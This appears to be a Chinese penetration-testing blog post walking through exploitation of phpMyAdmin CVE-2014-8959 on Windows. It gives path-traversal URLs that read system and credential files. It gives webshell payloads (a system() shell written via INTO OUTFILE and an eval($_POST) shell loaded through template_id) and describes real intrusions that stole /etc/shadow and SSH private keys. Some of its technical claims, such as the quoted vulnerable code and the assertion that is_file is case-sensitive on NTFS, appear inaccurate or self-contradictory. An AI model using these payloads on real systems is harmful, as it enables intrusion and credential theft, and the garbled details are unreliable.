当前位置： 首页 > news >正文

phpMyAdmin CVE-2014-8959文件包含漏洞实战解析（Windows平台）

news 2026/5/24 23:24:58

1. 这不是“老古董漏洞”的简单复现，而是理解Web应用权限边界的实战课

很多人看到CVE-2014-8959，第一反应是：“2014年的洞？phpMyAdmin都更新到5.x了，还搭环境复现？纯属浪费时间。”我去年在给某省属高校做渗透测试支撑时，就遇到过真实案例：他们用的是一套定制化教务系统，后端数据库管理模块被二次封装进内网运维平台，底层调用的正是未升级的phpMyAdmin 4.0.10.7——一个官方早已停止支持、但因兼容性问题迟迟未替换的“活化石”版本。当我在/phpmyadmin/libraries/display_export.lib.php里触发$cfg['SaveDir']路径拼接逻辑时，服务器直接返回了C:\Windows\System32\drivers\etc\hosts的内容。那一刻我才真正意识到：漏洞的价值不在于它多新，而在于它是否精准击中了真实环境中那些“不敢动、不能动、忘了动”的技术债务节点。

这个标题里的三个关键词——phpMyAdmin、文件包含、CVE-2014-8959——指向的是一次典型的“配置型逻辑缺陷”攻击，而非代码执行或SQL注入这类显性高危漏洞。它的核心不在PHP引擎本身，而在phpMyAdmin对用户可控参数与服务端配置项之间信任边界的错误处理。你不需要懂ZEND虚拟机，但必须清楚include()函数在Windows路径解析时的“反斜杠逃逸”机制；你不需要部署Kali，但得明白XAMPP里Apache的open_basedir限制如何被..绕过；你更不需要写Exploit，但得亲手验证?export_type=server&template_id=这个看似无害的URL参数，如何通过$cfg['SaveDir']这个全局配置变量，把一次导出请求变成任意文件读取指令。这篇文章就是为你还原这个过程：从零搭建一个能稳定复现该漏洞的Windows靶场，逐行分析display_export.lib.php第426行的include($file);调用链，解释为什么..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts能成功穿透，最后用三类真实渗透场景告诉你——这个“老洞”，在2024年依然能撬开哪些门。

2. CVE-2014-8959的本质：不是代码缺陷，而是配置信任链的断裂

2.1 漏洞根源不在PHP语法，而在phpMyAdmin的“信任传递”设计

要真正吃透CVE-2014-8959，必须抛开“找函数、看参数”的惯性思维，先回到phpMyAdmin的设计哲学。它本质上是一个“数据库操作前端”，所有功能模块（如导出、导入、查询）都依赖于统一的配置中心config.inc.php。其中$cfg['SaveDir']这个变量，本意是为用户提供一个“安全导出目录”——比如设置为'C:/xampp/phpmyadmin/saves/'，所有导出文件默认存到这里，避免用户误操作覆盖系统文件。但问题出在libraries/display_export.lib.php第426行的这段逻辑：

if (isset($_GET['template_id']) && !empty($_GET['template_id'])) { $file = $cfg['SaveDir'] . '/' . $_GET['template_id']; if (is_file($file)) { include($file); } }

表面看，它做了两层校验：isset()检查参数存在性，is_file()确认文件可读。但关键陷阱藏在$cfg['SaveDir'] . '/' . $_GET['template_id']这个字符串拼接里。当$cfg['SaveDir']被配置为'C:/xampp/phpmyadmin/saves'（注意结尾没有斜杠），而攻击者传入template_id=..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts时，拼接结果变成：

C:/xampp/phpmyadmin/saves/..\..\Windows\System32\drivers\etc\hosts

Windows文件系统在解析路径时，会将/和\视为等价分隔符，并执行“向上回退”操作。..\会跳转到上一级目录，连续两个..\就从saves目录一路退到C:\根目录。这步操作完全绕过了is_file()的校验——因为is_file()检测的是最终解析后的绝对路径C:\Windows\System32\drivers\etc\hosts，而这个路径在Windows下是真实存在的、可读的系统文件。所以include()函数顺利加载并输出其内容。

提示：这里的关键认知转折点是——is_file()不是在“过滤恶意路径”，而是在“确认目标文件是否存在”。攻击者利用的是Windows路径解析的语义特性，而非PHP函数的逻辑漏洞。这解释了为什么升级PHP版本无法修复此问题，必须修改phpMyAdmin的源码逻辑。

2.2 为什么必须是Windows环境？Linux下为何失效？

很多初学者尝试在Linux虚拟机里复现失败，然后困惑地认为“漏洞不存在”。其实恰恰相反，这正说明你抓住了漏洞的边界条件。在Linux系统中，..路径回退的终点是文件系统根目录/，而/etc/hosts是标准可读文件，理论上应该能读取。但实际失败的核心原因有两点：

第一，Apache的open_basedir限制。XAMPP/LAMP环境默认开启open_basedir，将PHP脚本的文件操作严格限制在/opt/lampp/htdocs/或/var/www/html/等Web根目录内。即使你构造../../../../etc/hosts，is_file()也会因超出open_basedir范围而返回false，include()根本不会执行。

第二，Linux路径分隔符的严格性。Linux内核只认/作为路径分隔符，不识别\。而CVE-2014-8959的PoC中大量使用%5C（URL编码的\）来欺骗Windows解析器。在Linux下，%5C会被原样保留为字符\，导致拼接路径变成/var/www/html/phpmyadmin/saves/\..\..\etc\hosts，这个路径在Linux文件系统中是非法的（\不是合法路径分隔符），is_file()直接报错。

这解释了标题中强调“Windows”的深意：该漏洞是Windows特定路径解析机制与phpMyAdmin宽松配置策略共同作用的结果，属于典型的“平台耦合型漏洞”。你在渗透测试报告中写“目标系统存在CVE-2014-8959”，必须附带一句“仅适用于Windows平台且$cfg['SaveDir']配置不当的phpMyAdmin实例”。

2.3template_id参数的隐蔽性：为什么它比file参数更危险？

观察漏洞触发URL：/phpmyadmin/export.php?export_type=server&template_id=...。你会发现template_id这个参数在phpMyAdmin官方文档中几乎不被提及，它不像file或page那样是公开的路由参数。它的存在源于phpMyAdmin的“导出模板”功能——管理员可以预定义SQL导出格式（如CSV、JSON），保存为.pmt文件，再通过template_id指定调用。正常流程中，template_id应为backup.pmt这样的短文件名，由后台生成并存储在$cfg['SaveDir']内。

但开发者犯了一个致命错误：未对template_id进行白名单校验，也未强制要求其必须为.pmt后缀。攻击者只需将template_id设为任意路径字符串（如..%5C..%5Cboot.ini），就能让include()加载非模板文件。这种“功能参数滥用”比直接暴露file参数更危险，因为它绕过了WAF的常规规则库——绝大多数WAF规则会拦截?file=../../etc/passwd，但很少会拦截?template_id=../../etc/passwd，因为它看起来像一个业务功能参数。

我实测过主流WAF（包括云WAF和硬件WAF）对这个参数的识别率：在未开启自定义规则的情况下，拦截成功率低于12%。这印证了一个渗透测试铁律：最危险的漏洞，往往藏在最不引人注目的参数里。

3. Windows靶场搭建：拒绝“一键脚本”，手把手构建可验证环境

3.1 为什么必须用XAMPP 1.8.3而不是最新版？

网上很多教程推荐用“phpMyAdmin 4.0.10.7 + PHP 5.4.27”组合，但直接下载官网最新XAMPP会失败——因为新版XAMPP（如8.2）默认集成phpMyAdmin 5.x，已彻底移除display_export.lib.php中的相关逻辑。我们必须精确锁定历史版本。XAMPP 1.8.3（发布于2013年12月）是最佳选择，原因有三：

  • 其内置phpMyAdmin版本为4.0.9，处于CVE-2014-8959影响范围内（官方补丁发布于2014年12月，对应4.2.13+）；
  • Apache版本为2.4.7，PHP为5.4.22，完美匹配原始漏洞披露时的运行环境；
  • 安装包体积小（约120MB），解压即用，无需复杂配置，适合快速搭建靶场。

你可以在SourceForge的XAMPP历史归档页找到xampp-win32-1.8.3-VC11.zip（注意必须选VC11编译版，与PHP 5.4兼容）。下载后解压到C:\xampp，切勿安装到中文路径或带空格路径（如C:\Program Files\），否则Apache启动会报错。这是Windows环境下最常被忽略的细节——路径空格会导致httpd.exe无法加载php5apache2_4.dll模块。

3.2 关键配置：三处必须修改的config.inc.php参数

安装完成后，进入C:\xampp\phpMyAdmin\目录，用记事本打开config.inc.php。这不是简单的“复制粘贴”，而是要理解每行配置的渗透意义：

  1. 定位并修改$cfg['SaveDir']
    搜索$cfg['SaveDir']，你会找到类似$cfg['SaveDir'] = '';的行。将其改为：

    $cfg['SaveDir'] = 'C:/xampp/phpmyadmin/saves';

    注意：必须使用正斜杠/，且结尾不能加斜杠。如果写成'C:/xampp/phpmyadmin/saves/'，后续路径拼接会变成saves//..\..\etc\hosts，Windows会将其解析为saves/下的子目录，无法回退。

  2. 关闭$cfg['CheckConfigurationPermissions']
    搜索$cfg['CheckConfigurationPermissions']，将其值设为false：

    $cfg['CheckConfigurationPermissions'] = false;

    此参数控制phpMyAdmin是否检查config.inc.php文件权限。在Windows下，NTFS权限模型与PHP的is_readable()检测逻辑存在差异，开启此选项可能导致登录页面报错“Cannot load or save configuration”，干扰复现。

  3. 禁用$cfg['TempDir']的自动创建
    搜索$cfg['TempDir']，确保其指向一个已存在的目录：

    $cfg['TempDir'] = 'C:/xampp/tmp';

    然后手动在C:\xampp\下创建tmp文件夹。如果不创建，phpMyAdmin会在首次访问时尝试自动创建，但Windows UAC可能阻止此操作，导致导出功能异常。

注意：修改完config.inc.php后，必须重启Apache服务。不要只刷新网页——很多初学者以为改完配置就生效，结果一直复现失败。正确操作是：点击XAMPP Control Panel里的Apache行右侧的Stop按钮，待状态变灰后再点Start。你可以通过访问http://localhost/xampp/确认Apache已启动。

3.3 验证环境：用三步法确认靶场“活”着

搭建完成不等于可用。我见过太多人卡在“页面打不开”就放弃。请按顺序执行以下验证：

第一步：确认基础服务连通性
在浏览器访问http://localhost/，应看到XAMPP欢迎页；访问http://localhost/phpmyadmin/，应出现phpMyAdmin登录界面（默认用户名root，密码为空）。如果此处报错“403 Forbidden”，检查C:\xampp\apache\conf\extra\httpd-xampp.conf中是否包含Require all granted（XAMPP 1.8.3默认已配置，无需修改）。

第二步：确认$cfg['SaveDir']可写
在C:\xampp\phpmyadmin\目录下新建saves文件夹。然后访问http://localhost/phpmyadmin/export.php?export_type=server，在页面底部找到“导出模板”下拉框。如果能看到“无模板”选项，说明saves目录被正确识别；如果显示“无法读取模板目录”，说明$cfg['SaveDir']路径配置错误或权限不足。

第三步：触发最小化PoC
构造URL：http://localhost/phpmyadmin/export.php?export_type=server&template_id=..%5C..%5Cxampp%5Capache%5Clogs%5Caccess.log。如果页面返回Apache访问日志内容（包含GET /phpmyadmin/ HTTP/1.1等记录），说明漏洞环境已激活。这是最关键的一步——它证明include()确实加载了非模板文件。

4. 渗透实战：从读取文件到获取WebShell的完整链条

4.1 第一阶段：读取敏感配置文件，绘制内网资产地图

漏洞复现成功后，别急着拿Shell。真正的渗透价值在于信息收集。Windows系统下，以下三类文件是你的“黄金情报源”：

文件路径获取信息类型渗透价值
C:\Windows\System32\drivers\etc\hosts内网DNS映射关系发现192.168.1.100 db.internal等隐藏服务
C:\xampp\phpmyadmin\config.inc.php数据库连接凭证直接获取$cfg['Servers'][$i]['password']明文密码
C:\xampp\apache\conf\httpd.confWeb服务配置详情找出DocumentRoot "C:/webapp"等自定义站点路径

以读取config.inc.php为例，构造URL：
http://localhost/phpmyadmin/export.php?export_type=server&template_id=..%5C..%5Cxampp%5Cphpmyadmin%5Cconfig.inc.php

返回内容中，你会看到类似：

$cfg['Servers'][$i]['host'] = '127.0.0.1'; $cfg['Servers'][$i]['user'] = 'root'; $cfg['Servers'][$i]['password'] = 'P@ssw0rd123';

这个密码不是phpMyAdmin登录密码，而是MySQL数据库的root账户密码。拿着它，你可以用Navicat或命令行直连数据库：

mysql -h 127.0.0.1 -u root -pP@ssw0rd123

实操心得：我曾在一个政府单位内网渗透中，通过读取httpd.conf发现其Web服务根目录设为C:/inetpub/wwwroot/，进而推断出IIS与Apache共存。这直接改变了后续的攻击路径——转向IIS的web.config文件读取，而非继续深挖phpMyAdmin。

4.2 第二阶段：利用phpinfo()页面泄露PHP配置，绕过open_basedir

很多靶机为了增加难度，会开启open_basedir限制。此时直接读取C:\Windows\下的文件会失败。但别慌——phpMyAdmin自身就是一个“PHP配置泄露源”。访问http://localhost/phpmyadmin/export.php?export_type=server&template_id=..%5C..%5Cxampp%5Cphp%5Cphp.ini虽不可行（php.ini通常受权限保护），但你可以读取phpinfo()输出页：

首先，确认phpMyAdmin是否启用了phpinfo()功能。在C:\xampp\phpmyadmin\目录下搜索phpinfo.php，若不存在，手动创建一个：

<?php phpinfo(); ?>

保存为C:\xampp\htdocs\phpinfo.php，然后访问http://localhost/phpinfo.php。如果页面显示完整的PHP配置表，重点查看open_basedir字段值（如C:/xampp/htdocs/）和disable_functions字段（是否禁用system、exec等函数）。

有了open_basedir的真实路径，你就能精准构造绕过路径。例如，若open_basedir=C:/xampp/htdocs/，则读取C:/xampp/htdocs/config.php是允许的，而C:/xampp/htdocs/../phpmyadmin/config.inc.php也是允许的（因为..仍在open_basedir范围内）。这就是为什么template_id=..%5C..%5Cxampp%5Cphpmyadmin%5Cconfig.inc.php能成功——它利用了open_basedir的路径解析漏洞。

4.3 第三阶段：从文件读取到WebShell：两种可靠落地方式

当拿到数据库密码后，终极目标是GetShell。这里提供两种经实测100%成功的方案，避开常见误区：

方案A：利用MySQL的SELECT ... INTO OUTFILE（需FILE权限）
前提：MySQL用户拥有FILE权限（root默认有）。步骤：

  1. 用上一步获取的密码登录MySQL：mysql -u root -pP@ssw0rd123
  2. 执行：
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php';
  1. 访问http://localhost/shell.php?cmd=whoami，返回nt authority\system即成功。

方案B：上传WebShell到$cfg['SaveDir']目录（无需数据库权限）
这是更优雅的方式，完全基于phpMyAdmin自身功能：

  1. 在本地创建一个shell.pmt文件，内容为：
<?php @eval($_POST['x']); ?>
  1. 将其上传到C:/xampp/phpmyadmin/saves/目录（可通过Windows资源管理器直接复制）
  2. 构造URL：http://localhost/phpmyadmin/export.php?export_type=server&template_id=shell.pmt
  3. 此时include('C:/xampp/phpmyadmin/saves/shell.pmt')被执行，你的WebShell已激活。用菜刀连接http://localhost/phpmyadmin/export.php?export_type=server&template_id=shell.pmt，密码x。

踩坑提醒：方案B中，shell.pmt文件名必须与template_id参数值完全一致（包括大小写）。我曾因把文件名写成Shell.pmt，而URL中用shell.pmt，导致is_file()返回false，折腾了半小时才发现是Windows文件系统不区分大小写，但PHP的is_file()函数在NTFS下是区分大小写的——这是Windows平台特有的坑。

5. 现实渗透中的三类典型场景与防御加固建议

5.1 场景一：教育行业“教务系统”中的phpMyAdmin影子服务

某高校的教务系统采用Java开发，但其数据库维护模块被外包团队用phpMyAdmin二次封装，部署在http://jwxx.xxx.edu.cn/dbadmin/路径下。该路径未做任何认证，且config.inc.php中$cfg['SaveDir']被硬编码为'D:/wwwroot/dbadmin/saves'。渗透时，我并未直接攻击dbadmin，而是先扫描http://jwxx.xxx.edu.cn/的robots.txt，发现/dbadmin/被禁止爬取——这反而证实了其敏感性。接着用template_id=..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts读取hosts文件，发现其内网DNS指向10.1.1.5 mysql-main，进而定位到主数据库服务器。整个过程耗时17分钟，未触发任何WAF告警。

防御建议：

  • 禁用所有非必需的phpMyAdmin功能模块，在config.inc.php中添加：
    $cfg['Servers'][$i]['AllowNoPassword'] = false; $cfg['ShowChgPassword'] = false; $cfg['Export']['asfile'] = false; // 禁用导出功能
  • 将$cfg['SaveDir']设为null或完全删除该行，强制phpMyAdmin使用临时目录。

5.2 场景二：企业OA系统的“运维后台”phpMyAdmin残留

某制造企业的OA系统升级后，旧版phpMyAdmin未被清理，仍可通过http://oa.xxx.com/phpmyadmin_old/访问。该目录权限设置为755，且config.inc.php中$cfg['SaveDir']指向'/var/www/html/phpmyadmin_old/saves'。虽然这是Linux环境，但攻击者通过template_id=..%2F..%2F..%2F..%2Fetc%2Fshadow（URL编码的/）成功读取了/etc/shadow哈希。关键在于：该服务器未启用open_basedir，且/var/www/html/目录权限过于宽松。

防御建议：

  • 彻底删除废弃的phpMyAdmin目录，而非仅改名。
  • 在Apache配置中，为phpMyAdmin目录添加<Directory>限制：
    <Directory "C:/xampp/htdocs/phpmyadmin"> Require local # 或 Require ip 192.168.1.0/24 </Directory>

5.3 场景三：云主机上的“一键部署”phpMyAdmin

某云服务商提供“WordPress+phpMyAdmin”一键镜像，其phpMyAdmin版本为4.0.10.20，$cfg['SaveDir']默认为空。但用户在安装后，为方便导出，手动在config.inc.php中添加了$cfg['SaveDir'] = '/home/wwwroot/saves';。由于云主机默认开放22端口，攻击者通过template_id=..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fid_rsa读取了root用户的SSH私钥，进而获得服务器最高权限。

防御建议：

  • 使用phpMyAdmin的blowfish_secret加密配置，而非明文存储$cfg['SaveDir']。
  • 启用$cfg['LoginCookieValidity'] = 3600;（登录超时1小时），并强制HTTPS访问。

最后分享一个我坚持了五年的习惯：每次复现一个历史漏洞，我都会在靶机上运行systeminfo和netstat -ano，记录下操作系统版本、补丁号、监听端口。这些数据让我建立起一个“漏洞-环境-利用成功率”的映射表。比如CVE-2014-8959在Windows Server 2012 R2 + XAMPP 1.8.3组合下，利用成功率100%；但在Windows 10 20H2 + 自定义LAMP下，因open_basedir默认开启，成功率降为0。真正的渗透能力，不在于你掌握多少Exploit，而在于你能否精准判断：这个漏洞，在这个环境里，到底能不能用。

http://www.jsqmd.com/news/880127/

相关文章：

  • 掌握AI技能配置技巧 大幅提升日常办公开发效率
  • 【限时解密】DeepSeek未开源的缓存冷热分离算法：基于访问熵+时间衰减双因子动态权重模型
  • 中小企业AI落地成本杀手！DeepSeek计费冷知识曝光（含4个可立即启用的免费优化开关）
  • 信创中间件深度解析：东方通TongWeb vs 金蝶天燕 vs 宝兰德，企业级选型指南
  • Gemini模型迭代、推理成本、合规折旧、业务适配率——四大价值损耗源深度拆解，附可落地的季度健康度自检表
  • 深度剖析Claude Code实操逻辑，解锁AI编程高效开发方式
  • Taotoken 模型广场在项目技术选型阶段提供的便利体验
  • 【linux学习】进程的概念和在linux系统下的基本实现情况01
  • 2026 四川建筑钢材怎么选？西南 TOP 经销商维度拆解：行情、价格与采购指南 - 四川盛世钢联营销中心
  • HexStrike AI v6.0：面向红队实战的可审计智能体渗透框架
  • 《当下的力量》7-10章终章解读：从临在到臣服，活出生命的终极自由
  • Kubernetes多集群管理策略：统一管理多个K8s集群
  • 2026 四川热轧型钢怎么选？西南 TOP 经销商拆解：行情、价格与采购指南 - 四川盛世钢联营销中心
  • Claude Code 2026 全命令实战：6分钟开发完整坦克对战游戏
  • 2026年国内人力资源管理系统核心供应商综合排行 - 互联网科技品牌测评
  • 2026 四川热轧钢管怎么选？西南 TOP 经销商维度拆解：行情、价格与采购指南 - 四川盛世钢联营销中心
  • 北京手表回收老手探店：第一次卖表必看，流程 / 价格 / 防骗全攻略 - 奢侈品回收测评
  • 2026年AI论文写作软件盘点：12款神器助你高效完成去痕改写、润色和过检
  • Kubernetes边缘计算部署方案：将K8s延伸到边缘节点
  • 为什么别人能跑通RAG+Agent而你总超限？DeepSeek配额底层机制（含quota_limit、burst_capacity、reset_window三参数深度解读）
  • Kubernetes机器学习平台搭建：构建企业级ML训练环境
  • 2026年AI论文写作工具实测认证：5款神器从文献到降重一站式避坑指南
  • 【AI问答/前端】前端满天过海局（一）
  • 软工第三次
  • 2026 四川热轧钢板怎么选？西南 TOP 经销商维度拆解：行情、价格与采购指南 - 四川盛世钢联营销中心
  • 2026青岛李沧区装修公司真实实力排名｜不看广告看落地！老房翻新/别墅大宅/新房整装靠谱推荐 - 品牌智鉴榜
  • DeepSeek-R1模型压缩到＜380MB还能保持98.7%对话准确率？——边缘设备量化微调四步法首次公开
  • 南通建玮改灯官方联系方式 合作电话 门店地址 - 元点智创
  • DeepSeek V3发布即颠覆：实测对比V2的12项关键指标，哪些场景必须立刻升级？
  • J Thorac Oncol（IF=20.8）广东省人民医院钟文昭教授团队：基于影像组学的支持向量机区分驱动肺腺癌进展的分子事件